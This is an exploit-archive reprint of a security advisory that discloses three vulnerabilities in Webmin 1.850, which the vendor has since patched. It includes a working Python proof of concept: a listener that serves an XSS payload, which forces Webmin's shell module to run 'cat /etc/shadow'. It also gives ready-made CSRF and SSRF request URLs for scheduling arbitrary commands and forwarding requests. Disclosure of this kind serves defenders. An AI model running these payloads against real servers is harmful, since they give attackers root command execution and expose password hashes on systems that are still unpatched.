Webmin 1.850 - Multiple Vulnerabilities

2017-10-16T00:00:00
ID 1337DAY-ID-28803
Type zdt
Reporter hyp3rlinx
Modified 2017-10-16T00:00:00

Description

Exploit for cgi platform in category web applications

                                        
                                            [+] SSD Beyond Security: https://blogs.securiteam.com/index.php/archives/3430
[+] Credits: John Page (aka hyp3rlinx)  
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/WEBMIN-v1.850-REMOTE-COMMAND-EXECUTION.txt
[+] ISR: ApparitionSec            
  
 
 
Vulnerability summary
The following advisory describes three (3) vulnerabilities found in Webmin version 1.850
 
Webmin “is a web-based interface for system administration for Unix. Using any modern web browser, you can setup user accounts, Apache, DNS,
file sharing and much more. Webmin removes the need to manually edit Unix configuration files like /etc/passwd, and lets you manage a system from
the console or remotely. See the standard modules page for a list of all the functions built into Webmin.”
 
The vulnerabilities found are:
 
XSS vulnerability that leads to Remote Code Execution
CSRF Schedule arbitrary commands
Server Side Request Forgery
 
Credit
An independent security researcher, hyp3rlinx, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
 
Vendor response
The vendor has released patches to address these vulnerabilities.
 
For more information: https://github.com/webmin/webmin/commit/0c58892732ee7610a7abba5507614366d382c9c9 and http://www.webmin.com/security.html
 
 
Vulnerability details
XSS vulnerability that leads to Remote Code Execution
 
Under Webmin menu ‘Others/File Manager‘ there is option to download a file from a remote server ‘Download from remote URL‘.
 
By setting up a malicious server we can wait for file download request then send a XSS payload that will lead to Remote Code Execution.
 
Webmin echo back the ‘File Download‘ request status which we can trigger the XSS vulnerability and bypass this Referrer check by setting the
domain=webmin-victim-ip.
 
Proof of Concept
 
 
import socket
 
#===================================================
#Run this script and listen for file download from webmin
#Enter payload to execute RCE
#wait for webmin to connect and download file
#Vulnerability is in Menu/Others/File Manager
#issue is webmin echoes back status of the download
#by injecting XSS we bypass the Referer: check by assign
#domain to victims own IP, then execute our RCE
#-----------------------------------------------------------
#e.g.
#Download from remote URL
#http://x.x.x.x:10000/shell/index.cgi
#> whoami
#root
 
PORT=int(raw_input("[PORT]> ")) #port we listen on for file download requests
WEBMIN_IP=raw_input("[Webmin IP]> ") #victim
 
#Read /etc/shadow file
CMD=("/><script>document.domain='http://"+WEBMIN_IP+":10000/shell/index.cgi'</script>"+
"<form action='https://"+WEBMIN_IP+":10000/shell/index.cgi' method='POST' enctype='multipart/form-data'>"+
"<input type='hidden' name='cmd' value='cat /etc/shadow'><script>document.forms[0].submit()</script></form>")
 
s = socket.socket()
HOST = '' 
s.bind((HOST, PORT)) 
s.listen(5) 
 
print '\nwebmin file download 0day...'
 
while True:
 conn, addr = s.accept() 
 conn.send(CMD+'\r\n')
 print 'Connected!'
 print s.recv(1024)
 conn.close()
s.close()
 
 
 
 
CSRF Schedule arbitrary commands
 
User controlled input is not sufficiently sanitized, by sending GET request to create_job.cgi with the following parameter dir=/&cmd=ls
an attacker to execute arbitrary commands.
 
Proof of Concept
 
http://x.x.x.x:10000/at/create_job.cgi?user=root&day=31&month=7&year=2017&hour=2&min=00&dir=/&cmd=ls -lt&mail=0
Server Side Request Forgery
 
User controlled input is not sufficiently sanitized, by sending GET request to tunnel/link.cgi/http://VICTIM-IP:8000 an attacker can trigger
the vulnerability
 
Proof of Concept
 
 
http://x.x.x.x:10000/tunnel/link.cgi/http://VICTIM-IP:8000
 
 
Network Access:
===============
Remote
 
 
 
Severity:
=========
High
 
 
 
Disclosure Timeline:
====================
Would like to acknowledge Beyond Security’s SSD program for the help with co-ordination of this vulnerability.
More details can be found on their blog at:
 
https://blogs.securiteam.com/index.php/archives/3430

#  0day.today [2018-01-05]  #